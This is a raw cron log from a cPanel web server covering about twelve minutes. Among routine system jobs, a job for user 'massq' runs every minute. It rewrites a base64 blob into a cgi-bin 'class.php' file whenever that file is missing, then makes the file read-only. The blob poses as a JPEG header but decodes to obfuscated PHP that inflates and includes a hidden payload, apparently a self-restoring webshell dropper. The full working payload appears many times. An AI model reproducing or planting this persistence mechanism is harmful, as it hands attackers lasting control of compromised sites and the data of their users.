Nov  9 18:00:01 server CROND[23860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:00:01 server CROND[23859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:01:01 server CROND[24527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:01:01 server CROND[24528]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 18:01:01 server run-parts(/etc/cron.hourly)[24528]: starting 0anacron
Nov  9 18:01:01 server run-parts(/etc/cron.hourly)[24540]: finished 0anacron
Nov  9 18:02:01 server CROND[25261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:03:01 server CROND[26191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:04:01 server CROND[27062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:05:01 server CROND[27921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:05:01 server CROND[27922]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 18:05:01 server CROND[27923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:05:01 server CROND[27924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:06:01 server CROND[28795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:07:01 server CROND[29568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:08:01 server CROND[30382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:09:01 server CROND[31417]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:09:01 server CROND[31418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:10:01 server CROND[32174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:10:01 server CROND[32173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:10:01 server CROND[32175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:10:01 server CROND[32176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:11:01 server CROND[598]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:12:01 server CROND[1408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:12:01 server CROND[1409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
